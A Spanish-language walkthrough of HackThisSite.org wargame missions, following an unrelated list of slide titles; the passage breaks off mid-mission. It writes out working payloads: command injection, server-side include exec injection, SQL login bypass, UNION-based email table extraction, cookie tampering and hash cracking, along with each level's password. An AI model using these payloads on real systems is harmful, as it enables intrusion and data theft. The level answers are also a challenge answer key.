TECNOLOGIA 11-4.8888888888888888888888888
TECNOLOGIA 11-4.8888888888888888888888888TECNOLOGIA 11-4.8888888888888888888888888
TECNOLOGIA 11-4.8888888888888888888888888
 
La electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdfLa electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdf
 
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
#Tare10ProgramacionWeb2024aaaaaaaaaaaa.pptx
 
Trabajo de tecnología primer periodo 2024
Trabajo de tecnología primer periodo 2024Trabajo de tecnología primer periodo 2024
Trabajo de tecnología primer periodo 2024
 
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
_Planificacion Anual NTICX 2024.SEC.21.4.1.docx.pdf
 
tecnologiaactividad11-240323205859-a9b9b9bc.pdf
tecnologiaactividad11-240323205859-a9b9b9bc.pdftecnologiaactividad11-240323205859-a9b9b9bc.pdf
tecnologiaactividad11-240323205859-a9b9b9bc.pdf
 
Tecnología Educativa- presentación maestría
Tecnología Educativa- presentación maestríaTecnología Educativa- presentación maestría
Tecnología Educativa- presentación maestría
 
TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.
TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.
TinkerCAD y figuras en 3D. Uso del programa TinkerCAD para crear fuguras.
 
Trabajo de tecnología liceo departamental
Trabajo de tecnología liceo departamentalTrabajo de tecnología liceo departamental
Trabajo de tecnología liceo departamental
 
CommitConf 2024 - Spring Boot <3 Testcontainers
CommitConf 2024 - Spring Boot <3 TestcontainersCommitConf 2024 - Spring Boot <3 Testcontainers
CommitConf 2024 - Spring Boot <3 Testcontainers
 
ORIENTACIONES DE INFORMÁTICA-2024.pdf-guia
ORIENTACIONES DE INFORMÁTICA-2024.pdf-guiaORIENTACIONES DE INFORMÁTICA-2024.pdf-guia
ORIENTACIONES DE INFORMÁTICA-2024.pdf-guia
 
Actividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolarActividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolar
 
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
Inteligencia Artificial. Matheo Hernandez Serrano USCO 2024
 
Clasificación de Conjuntos de Datos Desequilibrados.pptx
Clasificación de Conjuntos de Datos Desequilibrados.pptxClasificación de Conjuntos de Datos Desequilibrados.pptx
Clasificación de Conjuntos de Datos Desequilibrados.pptx
 
Trabajo de Tecnología .pdfywhwhejsjsjsjsjsk
Trabajo de Tecnología .pdfywhwhejsjsjsjsjskTrabajo de Tecnología .pdfywhwhejsjsjsjsjsk
Trabajo de Tecnología .pdfywhwhejsjsjsjsjsk
 

Hackthissite

  • 1. Hackthissite.org – Guia de solución Basic Web Level 1(the idiot test) This level is what we call "The Idiot Test", if you can't complete it, don't give up on learning all you can, but, don't go begging to someone else for the answer, thats one way to get you hated/made fun of. Enter the password and you can continue. Al leer el codigo fuente de esta pagina, encontramos una linea comentada: <!-- the first few levels are extremely easy: password is 054bf7bd --> Ok, ahora veo porque era “the idiot test”... nada de realistica realmente. Level 2 Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file and compare it to the password the user enters. However, he neglected to upload the password file... Al introducir cualquier password presenta el siguiente mensaje: Warning: fopen(password.txt) [function.fopen]: failed to open stream: No such file or directory in /usr/local/www/hackthissite.org/html/missions/basic/3/index.php on line 35 Logico... no existe el archivo.... entonces tomando en cuenta lo que dicen las indicaciones, la password esta sin encriptar en ese archivo y lo compara con lo que el usuario ingresa... si no existe el archivo, la password es nula... asi que sin ingresar nada, comprueba “null” con “null” del archivo.. o sea “” con “” y voila!, estamos en el otro nivel.
  • 2. Level 3 This time Network Security Sam remembered to upload the password file, but there were deeper problems than that. De nuevo nos vamos al codigo fuente... <form action="/missions/basic/4/index.php" method="post"> <input type="hidden" name="file" value="password.txt"> <input type="password" name="password"><br /><br /> <input type="submit" value="submit"></form> La ruta de accion del formulario: "/missions/basic/4/index.php", y el archivo con la password: "password.txt", asi que armando nuestra direccion y colocándola en el URL tenemos: http://www.hackthissite.org/missions/basic/4/password.txt lo que nos muestra: 4fd47802 Estamos en el siguiente nivel. Level 4 This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot. Here is the script: Leyendo el codigo fuente... <form action="/missions/basic/4/level4.php" method="post"> <input type="hidden" name="to" value="webmaster@hulla-balloo.com"><input type="submit" value="Send password to Sam"></form></center><br /><br /><center><b>password:</b><br /> <form action="/missions/basic/5/index.php" method="post"> <input type="password" name="password"><br /><br /> <input type="submit" value="submit"></form> He puesto en negrita lo que nos interesa... o sea que al apretar el boton, lo que hace es ejecutar un script en level4.php y envia el correo a Sam... asi que si le cambiamos el valor a “to” y le ponemos nuestro correo, recibiremos la password
  • 3. en el nuestro... como lo cambiamos? Podiamos haber grabado esta pagina y luego modificar los valores de la actions de la form para que buscara level4.php correctamente... luego tambien modificar el valor de to.... si no hubiese comprobación de “referrer”, es decir, de que pagina venimos... asi que lo que hice fue mejor irme un poco mas a lo seguro: inline javascript injection. Que es esto? Pues como su nombre lo indica: Inyección de javascript, pero en vez de simplemente comprobar si permite inyeccion, cambiamos valores a los objetos de la pagina web, de esta forma podemos cambiar sources de imagenes... y VALORES A LOS FORMULARIOS!!!! Verificamos primero si hay otro formulario en el codigo fuente... solo hay uno, por lo que nuestro formulario con toda su jerarquia seria: document.forms[0] (Javascript comienza su conteo desde 0) Luego necesitamos el nombre del objeto que queremos cambiar... que es el que marcamos con negrita anteriormente: name="to" value="webmaster@hulla-balloo.com Entonces hoy si tenemos todo para cambiarlo y colocamos en la barra de URL: javascript:alert(document.forms[0].to.value="cisko@debian.org.sv") y obtenemos: password: a11229ca al siguiente nivel! Level 5 Sam has gotten wise to all the people who wrote their own forms to get the password. Rather then actually learn the password, he decided to make his email program a little more secure. hmmm... creo que nos adelantamos a las pruebas: “Podiamos haber grabao esta pagina y luego modificar los valores de la actions de la form para que buscara level4.php correctamente... luego tambien modificar el valor de to.... si no hubiese comprobación de “referrer”, es decir, de que pagina venimos...”
  • 4. O sea que el primero no tenia comprobacion de referrer, pero este si... asi que probamos exactamente la mismo que hicimos en el anterior: javascript:alert(document.forms[0].to.value="cisko@debian.org.sv") Password: 9e722b66 Oooppsss, definitivamente nos adelantamos un poco al nivel... pero ni modo, eso tambien muestra que no solo hay una forma de hacer las cosas. Vamos al siguiente nivel. Level 6 Network Security Sam has encrypted his password. The encryption system is publically available and can be accessed with this form: Please enter a string to have it encrypted. þÿ encrypt You have recovered his encrypted password. It is: 5eg8:k8? Decrypt the password and enter it below to advance to the next level. Lo primero es ver como trata el abecedario normal, asi que ingresamos: abcdefghijklmnopqrstuvwxyz0123456789 y lo encriptamos para ver que pasa...y obtenemos: Your encrypted string is: 'acegikmoqsuwy{}ƒ…‡‰‹‘“JLNPRTVXZ' Posicion 1 2 3 4 5 6 7 8 9 10 11 12 13 Texto ingresado a b c d e f g h i j k l m Texto encriptado a c e g i k m o q s u w y Que vemos aca? si meto a, me devuelve a. Si meto b, me devuelve c. Si meto c, me devuelve e. Cual es la logica de encriptacion? Revisemos de nuevo
  • 5. Si meto a, me devuelve a, no cambia nada. Si meto b, me devuelve c, que es una letra mas que la que ingrese. Si meto c, me devuelve e, que es dos letras mas que la que ingrese. Si meto d, me devuelve g, que es tres letras mas que la que ingrese. Si medo e, me devuelve i, que es cuatro letras mas que la que ingrese. Aca todo comienza a tomar sentido... asi que armo otra tabla similar para que sea mas claro, pero esta vez la posicion la comienzo desde 0. Posicion 0 1 2 3 4 5 6 7 8 9 10 11 12 Texto ingresado a b c d e f g h i j k l m Texto encriptado a c e g i k m o q s u w y Analicemos entonces... Si meto a en la posicion 0, no le sumo nada. Si meto b en la posicion 1, le sumo 1 a su posicion, es decir b+1 posicion mas nos da: c. Si meto c en la posicion 2, le sumo 2 a su posicion, es decir c+2 posicion mas nos da: (c .. d... e...) tenemos e. Creo que a estas alturas ya tenemos un poco de la logica... volvamos a lo nuestro, nuestra clave encriptada es: 5eg8:k8? Tenemos numeros, asi que ingresando “0123456789” para ver como los traduce tenemos: '02468:<>@B' 012345678 9 02468:<>@B Y si metemos 999999999 tenemos: 9:;<=>?@ABC entonces desglosando tenemos: Posicio Encriptado Original n 0 5 5 menos 0 posiciones = 5 1 e e menos 1 posicion = d 2 g g menos 2 posiciones = e 3 8 8 menos 3 posiciones = 5
  • 6. 4 : : menos 4 posiciones = 6 5 k k menos 5 posiciones = f 6 8 8 menos 6 posiciones = 2 7 ? ? menos 7 posiciones = 8 Esto nos da la password: 5de56f28. Level 7 This time Network Security sam has saved the unencrypted level7 password in an obscurely named file saved in this very directory. In other unrelated news, Sam has set up a script that returns the output from the UNIX cal command. Here is the script: Enter the year you wish to view and hit 'view'. þÿ view Al meter 2006 como año, nos ejecuta “cat 2006”.. y nos despliega el resultado.. Asi que si le agregamos otro comando a ejecutar, por ejemplo un “ls” que seria util para ver lo que hay en ese directorio... “cal 2006 && ls” entonces, metemos en la cajita de años: 2006 && ls .... December 2006 Mon Tue Wed Thu Fri Sat Sun 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 . .. k1kh31b1n55h.php index.php
  • 7. level7.php cal.pl .htaccess perl5.8.8.core index_htmltest.php aquí tenemos nuestro archivo con password... ahora solo lo metemos en la url... http://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php Lo que nos da: 3233d290 Level 8 Sam remains confident that an obscured password file is still the best idea, but he screwed up with the calendar program. Sam has saved the unencrypted password file in /var/www/hackthissite.org/html/missions/basic/8/ However, Sam's young daughter Stephanie has just learned to program in PHP. She's talented for her age, but she knows nothing about security. She recently learned about saving files, and she wrote an script to demonstrate her ability. Enter your name: þÿ submit Metemos un nombre para ver que hace el script de Stephanie... “Cisko” Your file has been saved. Please click here view the file. Here nos lleva a: http://www.hackthissite.org/missions/basic/8/tmp/hvvlzqvq.shtml La cual nos muestra: Hi, Cisko! Your name contains 5 characters hmmm.. que pasa si le intentamos inyectar una ejecucion de codigo “extra al php”... de que forma? El script php lo que hace es tomar la variable del nombre e imprimirla en el documento, de la siguiente forma:
  • 8. echo $nombre nos daria: Cisko Ya que la variable $nombre, tiene el valor de “Cisko” Asi que lo que haremos es mandar un valor que para el html no represente nada, un comentario, pero si para php. eje. $nombre= “123 <!--#exec cmd="ls ../" -->” Hi, 123 au12ha39vc.php index.php level8.php tmp! Your name contains 43 characters. Y ahi tenemos nuestro querido archivo: http://www.hackthissite.org/missions/basic/8/au12ha39vc.php que nos da: 4d41b784 Level 9 Network Security Sam is going down with the ship - he's determined to keep obscuring the password file, no matter how many times people manage to recover it. This time the file is saved in /var/www/hackthissite.org/html/missions/basic/9/. In the last level, however, in my attempt to limit people to using server side includes to display the directory listing to level 8 only, I have mistakenly screwed up somewhere.. there is a way to get the obscured level 9 password. See if you can figure out how.. This level seems a lot trickier then it actually is, and it helps to have an understanding of how the script validates the user's input. The script finds the first occurance of '<--', and looks to see what follows directly after it. If it matches "#exec cmd="ls"-->" or "#exec cmd="ls /home/xec96/public_html/missions/basic/8/"-->" it accepts it. If it does not match any of the situations above, then it kicks the user out. Siempre tenemos que usar el script anterior... lo unico es que tenemos que buscar en otro directorio, asi que modificamos un poco:
  • 9. 123 <!--#exec cmd="ls ../../9/" --> Hi, 123 index.php p91e283zc3.php! Your name contains 28 characters. lo que nos da: http://www.hackthissite.org/missions/basic/9/p91e283zc3.php mostrando: eb924603 Level 10 Network Security Sam has decided to hardcode the password into the script. He also started to use cookies to detect if the user is authorized to advance to the next level. When you enter the correct password, it sets you to authorized, and if you enter an incorrect password, it sets you to unauthorized. Ok... problemas de cookies.. Existen varias formas de leer y modificar cookies, javascript podria habernos servido, pero hace tiempos, debido a que soy programador web y para pruebas utilizo una extension de firefox llamada: LIVE HTTP HEADERS (http://livehttpheaders.mozdev.org/), que sirve para: • First by adding a 'Headers' tab in 'View Page Info' of a web page. • Second by adding a tool in the 'Tools->Web Development' menu to be able to display http headers in real time (while pages are being downloaded from the Internet. • Third by letting you edit request headers and replay an URL (beta). Look for the Replay button in the live window! Esto quiere decir que podemos modificar el valor de los headers en tiempo real... es decir, podria modificar el valor de una cookie por ejemplo.... Asi que, haciendo uso de esta herramienta damos click en nuestro firefox Herramientas/Live http headers, que abre una ventana... probamos cualquier password en nuestro formulario y ahora en la ventana de http headers se nos presenta informacion, asi que damos click en la primera linea de esta ventana, o sea en: http://www.hackthissite.org/missions/basic/11/index.php Luedo damos click el boton “Repetir”, ahora nos presenta lo siguiente:
  • 10. Host: www.hackthissite.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,i mage/png,*/*;q=0.5 Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.hackthissite.org/missions/basic/10/index.php Cookie: level11_authorized=no; PHPSESSID=01159f91acb26579079cd7fc8623b39b Content-Type: application/x-www-form-urlencoded Content-Length: 13 Quito el click en el cuadro de selección para que no envie informacion POST y cambio esa linea por Cookie: level11_authorized=yes; Listo! nivel 10 completado.
  • 11. REALISTIC MISSIONS Uncle Arnold's Local Band Review Your friend is being cheated out of hundreds of dollars. Help him make things even again! From: HeavyMetalRyan Message: Hey man, I need a big favor from you. Remember that website I showed you once before? Uncle Arnold's Band Review Page? Well, a long time ago I made a $500 bet with a friend that my band would be at the top of the list by the end of the year. Well, as you already know, two of my band members have died in a horrendous car accident... but this asshole still insists that the bet is on! I know you're good with computers and stuff, so I was wondering, is there any way for you to hack this website and make my band on the top of the list? My band is Raging Inferno. Thanks a lot, man! Veamos la pagina... Nos presenta varios grupos, el que nos interesa esta al final, seleccionamos el valor de 1 a 5 y votamos... simplemente regresa a la misma pagina y el valor del rate de la banda no ha cambiado en lo absoluto... Veamos que pasa, revisando el fuente tenemos un formulario para cada banda, el que nos interesa es el siguiente: <form action="vote.php"><input type="hidden" name="PHPSESSID" value="abcaeadfc31a5c43b2534bf995c0553f" /><input type="hidden" name="id" value="0"><select name="vote"><option value=1>1<option value=2>2<option value=3>3<option value=4>4<option value=5>5</select> <input type="submit" value="vote!"></form> hmmm.. hagamos uso de la extension de firefox de nuevo para ver que sucede (live http headers) y nos dice que es un GET lo que busca... especificamente GET /missions/realistic/1/vote.php? PHPSESSID=abcaeadfc31a5c43b2534bf995c0553f&id=0&vote=5 HTTP/1.1 Los formularios GET se pueden traducir como datos que se pasan por URL... asi que podemos modificar y agregarlo a nuestra URL, de la siguiente forma: http://www.hackthissite.org/missions/realistic/1/vote.php? PHPSESSID=abcaeadfc31a5c43b2534bf995c0553f&id=0&vote=99999999999999 999999999999999999999999999999999999999999%20HTTP/1.1 Hecho... completamos la mision.
  • 12. Chicago American Nazi Party Racist pigs are organizing an 'anti-immigrant' rally in Chicago. Help anti-racist activists take over their website! From: DestroyFascism Message: I have been informed that you have quite admirable hacking skills. Well, this racist hate group is using their website to organize a mass gathering of ignorant racist bastards. We cannot allow such bigoted aggression to happen. If you can gain access to their administrator page and post messages to their main page, we would be eternally grateful. La pagina parece ser un portal que muestra post enviados, al momento solo hay uno enviado por WhiteKing. A simple vista no se ve, pero hay un link que dice “update”, ya sea que lo vean seleccionando todo o revisando el codigo fuente. Este link nos lleva a la pagina de administracion, pidiendo username y password. Asi que como usuario metemos a nuestro autor: WhiteKing... y como password, veamos si acepta un poco de inyeccion de sql: test' OR 'x'='x y... sip, el portal se trago nuestra password Peace Poetry: HACKED A little girl made a website to put poetry related to peace and understanding. American fascists have hacked this website replacing it with Hitler-esque propaganda. Can you repair the website? From: PeacePoetry Message: I run this website where people can read and submit peace-related poetry. I am doing this out of good will towards others, and I don't see why I would be making enemies out of this, but some real asshole hacked my website posting a bunch of ignorant aggressive propaganda on the front page. And I made that website a while ago, and I no longer have access to it. Do you think you can hack in and change it back? Please? Oh, and bonus points if you message me the name of the bastard who did this! My website can be found here.
  • 13. Primero lo primero... revisemos el codigo fuente.. se ve algo raro, todo en una sola linea... pero tiene barras de desplazamiento, asi que nos vamos hasta abajo y encontramos: <!--Note to the webmasterThis website has been hacked, but not totally destroyed. The old website is still up. I simply copied the old index.html file to oldindex.html and remade this one. Sorry about the inconvenience.--> Bueno, no fueron tan malos despues de todo... asi que veamos el antiguo index, que esta en: http://www.hackthissite.org/missions/realistic/3/oldindex.html Ok... veamos en submit poetry y agreguemos algo para ver que pasa... http://www.hackthissite.org/missions/realistic/3/submitpoems.php Your poem was successfully added. Thank you for your contributions :-( nada mas. Leamos un poco de poesia entonces... http://www.hackthissite.org/missions/realistic/3/readpoem.php?name=The %20Idiot http://www.hackthissite.org/missions/realistic/3/readpoem.php?name=Images %20of%20An%20Impending%20War hmmm... el nombre del poema es que aparece en el campo name, cual seria la forma de trabajar de este php? Agrego otro poema con el nombre The Idiot.. y no existe comprobacion... Las dos formas que se me ocurren son: que se guarde en una base de datos y que se genere un archivo el cual queda guardado y luego es llamado por la variable name, que busca el nombre del archivo. Nos vamos por la segunda y este es el plan: – Obtener el codigo fuente del index original. – Name of the Poem, debido que este es el nombre del archivo que grabara, sobreescribiremos el index crackeado para que se guarde nuestro antiguo index en vez del nuevo, es decir, haremos uso de la herramienta de poemas para guardar un archivo que sobreescribira el index.php creackeado. Entonces tenemos que guardar nuestro archivo un directorio mas arriba, es decir: ../index.html – Poem: aca meteremos el codigo fuente de nuestro archivo.
  • 14.
  • 15. Fischer's Animal Products A company slaughtering animals and turning their skin into overpriced products sold to rich bastards! Help animal rights activists increase political awareness by hacking their mailing list. From: SaveTheWhales Message: Hello, I was referred to you by a friend who says you know how to hack into computers and web sites - well I was wondering if you could help me out here. There's this local store who is killing hundreds of animals a day exclusively for the purpose of selling jackets and purses etc out of their skin! I have been to their website and they have an email list for their customers. I was wondering if you could somehow hack in and send me every email address on that list? I want to send them a message letting them know of the murder they are wearing. Just reply to this message with a list of the email addresses. Please? Their website is at http://www.hackthissite.org/missions/realistic/4/. Thanks so much!! Robar la lista de correos... Veamos como funciona, agreguemos cualquier correo en la casilla... email added successfully... Provoquemosle errores entonces... metamos algo que no sera un correo, por ejemplo simbolos raros... !@#$% Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's. OK! Tenemos un error que ha hablado de mas, ahora sabemos que los email se agregan a una tabla llamada “email” en la base de datos. Que mas podemos obtener del sitio... sigamos navegando por Fur Coats! Nos muestra un tema: Products, unas imagenes, descripcion y precio... pero arriba aparece: realistic/4/products.php?category=1 cambiemos el 1 por otro numero y veamos q pasa... Nos muestra la categoria 2 que seria Alligatos Accessories!. probemos category=3... nada pasa. Imaginemos el comando mysql para obtener los resultados: SELECT * FROM tabla1 WHERE category=1 ok, entonces al darle click pasamos esta informacion a la bd que nos devuelve los
  • 16. resultados en una tabla (al ver codigo fuente, tenemos una tabla). Cuantas columnas tiene la tabla de las categorias? Probemos.... hagamos uso de nuestro comando que se termina de formar con “category=1” en la url.. y agreguemos algo mas, ORDER BY 1, le estamos diciendo que se ordene por la columna 1 el select quedaria de la siguiente forma: SELECT * FROM tabla1 WHERE category=1 ORDER BY 1 nada cambio.... probemos 2. http://www.hackthissite.org/missions/realistic/4/products.php?category=1 ORDER BY 2 Se ordeno de diferente forma... probemos 3... se ordena diferente. probemos 4... se ordena diferente. probemos 5... nos muestra una imagen rota... Que nos dice esto? La tabla donde estan las categorias tiene 4 columnas, claro, no sabemos su nombre.... hmmmm... pero permitio agregarle algo mas al comando de SELECT.. y si le agregamos algo aun mas fuerte, que tal otro select * from email?... como hacemos esto? utilicemos UNION.... http://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION ALL SELECT null,null,null,null from email -- Un null por cada columna de la tabla con categorias... pero no puso nada, solo agrego unos links de imagenes rotas, al ver propiedades la imagen esta solo como nombre “.jpg”, o sea que toma un null como nombre... variemos un poco nuestro select http://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION ALL SELECT 1,null,null,null from email -- Nos pone la imagen 1.jpg en los ultimos resultados... o sea que vamos por buen camino.... Ya sabemos que los correos estan en email y que la primera columna es para las imagenes, modifiquemos otro poco entonces:
  • 17. http://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION ALL SELECT null,email,null,null from email -- Excelente! tenemos un listado de correos, copiemoslo... ya que el mensaje decia que se los enviemos al tipo SaveTheWhales En la pagina de hackthissite.org existe un link que dice “Search Users”, busquemos a SaveTheWhales, ahi esta el tipo... ahora click en username para ver sus detalles, luego click en su nick al inicio de la pagina y ahi nos lleva a la pagina para enviarle un mensaje. Completamos la mision, hasta ahorita la prueba mejor pensada... tuvimos que aplicar otras tecnicas pero al final lo logramos. Damn Telemarketers! Telemarketers are invading peoples privacy and peace and quiet. Get the password for the administrative section of the site to delete their database and return the privacy of their victims! From: spiffomatic64 Message: Yo! This is Spiffomatic64 from Hackthissite.org! I'm a bit of a hacker myself as you can see, but I recently came upon a problem I couldn't resolve... Lately I've been getting calls day and night from the telemarketing place. I've gone to their website and hacked it once deleting all of their phone numbers so they wouldn't call me anymore. That was a temporary fix but they put their database back up, this time with an encrypted password. When I hacked them I noticed everything they used was 10 years out of date and the new password seems to be a 'message digest'. I have done some research and I think it could be something called MD5. I think you could somehow reverse engineer it or brute force it. I also think it would be a good idea to look around the server for anything that may help you. Hurguemos por el sitio... News... 9/29/03 - The database is now available online again for administrators only! 9/15/03 - Google was grabbing links it shouldn't be so I have taken extra precautions. 9/10/03 - New service purchased from castle to get past "zapp". 7/15/03 - Web site was hacked into and all database entries deleted. 6/28/03 - The database is now available online. 6/20/03 - Web site created and dedicated to my lovely girlfriend haley!
  • 18. El mismo tipo del sitio nos da bastante informacion: – La base de datos esta en el otro link, online. – Google le dio un dolor de cabeza mostrando algo que no debia... el webmaster lo arreglo, como webmaster se que para arreglar este tipo de situaciones se agrega un archivito llamado robots.txt, eso hace que ciertos directorios que queramos, no sean listados en los motores de busqueda... pero a la vez muestra directorios.... suficiente... comprobemos la existeancia de robots.txt http://www.hackthissite.org/missions/realistic/5/robots.txt Disallow: /lib/ Disallow: /secret/ Tenemos dos directorios... http://www.hackthissite.org/missions/realistic/5/lib/ hash 05-Aug-2006 16:11 11k http://www.hackthissite.org/missions/realistic/5/secret/ admin.bak.php 05-Aug-2006 16:11 1k admin.php 05-Aug-2006 16:11 1k http://www.hackthissite.org/missions/realistic/5/secret/admin.bak.php error matching hash d8dcee597d09d8b48e3b25d2a451aa89 Tenemos nuestra password, pero encriptada... Asi que todo lo que necesitamos es desencriptarla. Con John the ripper no pude hacerlo... o al menos se estaba tardando mucho, asi que me descargue Cain&Abel http://www.oxid.it/cain.html, son para win pero el wine me lo instalo sin problemas y en menos de 5 segundos tenia mi clave: 50db9. ToxiCo Industrial Chemicals Decrypt a heavily encoded message from a CEO trying to bribe ecological inspectors investigating water pollution issues. Help environmentalists uncover corporations plotting to profit from the destruction of mother nature! From: ToxiCo_Watch Message: Hello esteemed hacker, I hope you have some decent cryptography skills. I have some text I need decrypted.
  • 19. I work for this company called ToxiCo Industrial Chemicals, which has recently come under fire because of the toxic chemicals we are dumping into the river nearby. Ecological inspectors have reported no problems, but it is widely speculated that they were paid off by ToxiCo management because the water pollution near the ToxiCo factory has always been a serious and widely publicized issue. I have done some packet sniffing on my network and I have recovered this email that was sent from the CEO of the company to Chief Ecological Inspector Samuel Smith. However, it is encrypted and I cannot seem to decode it using any of my basic decryption tools. I have narrowed it down to the algorithm used to encrypt it, but it is beyond my scope. I was hoping you can take a look at it. Please check it out, more details are on the page. If you can unscramble it and reply to this message with the original text, it would be much appreciated. Thank you. I believe this document to be encrypted using the XECryption algorithm. Please recover the original text of this document and return it to me. .296.294.255.268.313.278.311.270.290.305.322.252.276.286.301.305.264.301.251.269.274.311.304. 230.280.264.327.301.301.265.287.285.306.265.282.319.235.262.278.249.239.284.237.249.289.250. 282.240.256.287.303.310.314.242.302.289.268.315.264.293.261.298.310.242.253.299.278.272.333. 272.295.306.276.317.286.250.272.272.274.282.308.262.285.326.321.285.270.270.241.283.305.319. 246.263.311.299.295.315.263.304.279.286.286.299.282.285.289.298.277.292.296.282.267.245.304. 322.252.265.313.288.310.281.272.266.243.285.309.295.269.295.308.275.316.267.283.311.300.252. 270.318.288.266.276.252.313.280.288.258.272.329.321.291.271.279.250.265.261.293.319.309.303. 260.266.291.237.299.286.293.279.267.320.290.265.308.278.239.277.314.300.253.274.309.289.280. 279.302.307.317.252.261.291.311.268.262.329.312.271.294.291.291.281.282.292.288.240.248.306. 277.298.295.267.312.284.265.294.321.260.293.310.300.307.263.304.297.276.262.291.241.284.312. 277.276.265.323.280.257.257.303.320.255.291.292.290.270.267.345.264.291.312.295.269.297.280. 290.224.308.313.240.308.311.247.284.311.268.289.266.316.299.269.299.298.265.298.262.260.337. 320.285.265.273.307.297.282.287.225.302.277.288.284.310.278.255.263.276.283.322.273.300.264. 302.312.289.262.236.278.280.286.292.298.296.313.258.300.280.300.260.274.329.288.272.316.256. 259.279.297.296.283.273.286.320.287.313.272.301.311.260.302.261.304.280.264.328.259.259.347. 245.291.258.289.270.300.301.318.251.305.278.290.311.280.281.293.313.259.300.262.315.263.319. 285.282.297.283.290.293.280.237.234.323.289.305.279.314.274.291.309.273.294.249.283.262.271. 286.310.305.306.261.298.282.282.307.287.285.305.297.275.306.280.292.291.284.301.278.293.296. 277.301.281.274.315.281.254.251.289.313.307.244.256.302.301.317.305.239.316.274.277.296.269. 305.301.279.287.317.284.277.305.298.264.304.286.273.275.293.309.286.282.240.287.239.268.269. 267.315.311.292.270.271.272.336.282.237.275.316.306.239.305.314.240.296.306.270.247.245.302. 317.316.241.291.310.266.274.274.313.288.262.319.280.276.238.297.295.287.285.288.301.272.275. 247.305.292.286.272.310.291.301.322.256.315.298.263.281.276.237.294.284.296.284.302.273.298. 287.298.301.265.305.270.315.278.283.302.287.263.270.345.258.270.266.302.309.262.260.277.327. 263.277.254.283.276.239.272.264.276.279.264.267.298.264.244.245.273.292.289.273.248.259.263. 288.290.294.210.288.268.311.318.312.242.285.293.216.262.276.340.292.299.275.259.293.311.234. 266.294.278.307.286.267.307.285.269.310.288.274.270.326.273.276.311.304.267.302.318.265.299. 263.283.248.257.314.288.321.321.236.284.283.227.320.312.246.261.289.316.288.263.312.241.265. 288.298.286.287.274.306.279.276.289.307.303.293.281.298.317.252.312.283.278.263.304.305.258. 266.270.294.286.293.290.291.291.258.254.282.282.283.313.268.282.316.310.299.254.264.234.296. 270.265.326.288.292.293.321.305.250.320.299.253.270.296.297.298.266.312.234.273.287.309.286. 278.269.279.316.284.276.234.293.255.267.242.253.318.270.246.278.292.285.282.314.266.292.286. 263.313.249.290.255.289.264.292.301.299.278.291.292.225.250.261.283.303.262.264.264.303.299. 297.274.288.267.293.316.320.317.233.303.258.302.271.283.323.247.279.268.312.269.297.313.280. 280.273.266.332.276.313.284.281.316.279.290.273.313.308.305.260.302.306.273.234.279.281.284. 298.278.259.290.314.275.264.339.293.322.266.261.296.306.277.275.311.284.270.318.259.249.286. 292.301.285.280.303.283.287.299.277.273.293.228.311.283.272.304.292.277.271.306.302.278.298. 300.287.281.309.243.272.279.282.300.291.295.284.285.252.291.251.285.283.245.250.252.318.298. 277.235.288.259.263.278.274.307.261.260.350.250.288.256.282.316.261.285.295.292.300.298.264. 245.241.308.301.261.253.289.264.267.300.262.248.287.257.266.275.287.297.320.287.264.279.297. 232.231.256.288.243.252.277.274.245.256.253.229.290.263.305.278.260.294.312.283.301.275.276. 299.297.312.275.282.294.272.228.302.324.257.261.286.326.280.283.316.294.254.258.275.264.236. 240.277.255.231.258.286.242.277.253.296.290.250.314.320.239.292.313.261.294.261.317.273.285. 236.292.282.271.264.297.300.272.308.299.300.269.301.269.317.284.286.262.315.276.279.328.269. 254.252.232.272.268.309.273.264.296.305.272.267.291.324.302.297.268.268.263.298.300.261.312. 241.254.299.280.263.292.260.301.311.317.297.248.314.272.293.298.281.298.276.311.291.297.318. 261.274.300.293.297.267.295.261.275.334.289.238.267.289.283.257.300.262.304.311.278.274.265. 261.345.301.296.270.273.299.289.274.272.313.282.268.320.287.320.270 Aun no resuelto...
  • 20. What's Right For America A homophobic hate group is spreading their conservative propaganda of blind obedience and bigoted war mongering. Help tolerance activists take over their website of ignorance and discrimination. From: FreedomOfChoice Message: Friend of freedom and liberty, I invite you to take a look at the hate speech being spewed over the web at http://www.hackthissite.org/missions/realistic/7/. It's so funny that conservatives keep saying they want to protect the values of America - freedom, tolerance, and democracy - but when it comes to personal choices like private marijuana use or same-sex marriages, they damn them to burn in eternal hell and send them to jail. This is a personal freedom issue. No one else is hurt if two consenting adults decide to marry. But people who claim to have the moral high ground decide to ruin it for everyone else and discriminate against same-sex couples. To think that they are talking about making a constitutional amendment to STOP OUR FREEDOM TO MARRY is ludicrous. This injustice must be stopped. There is an admin section on that website somewhere, perhaps hidden among their directory structure. It would be a great 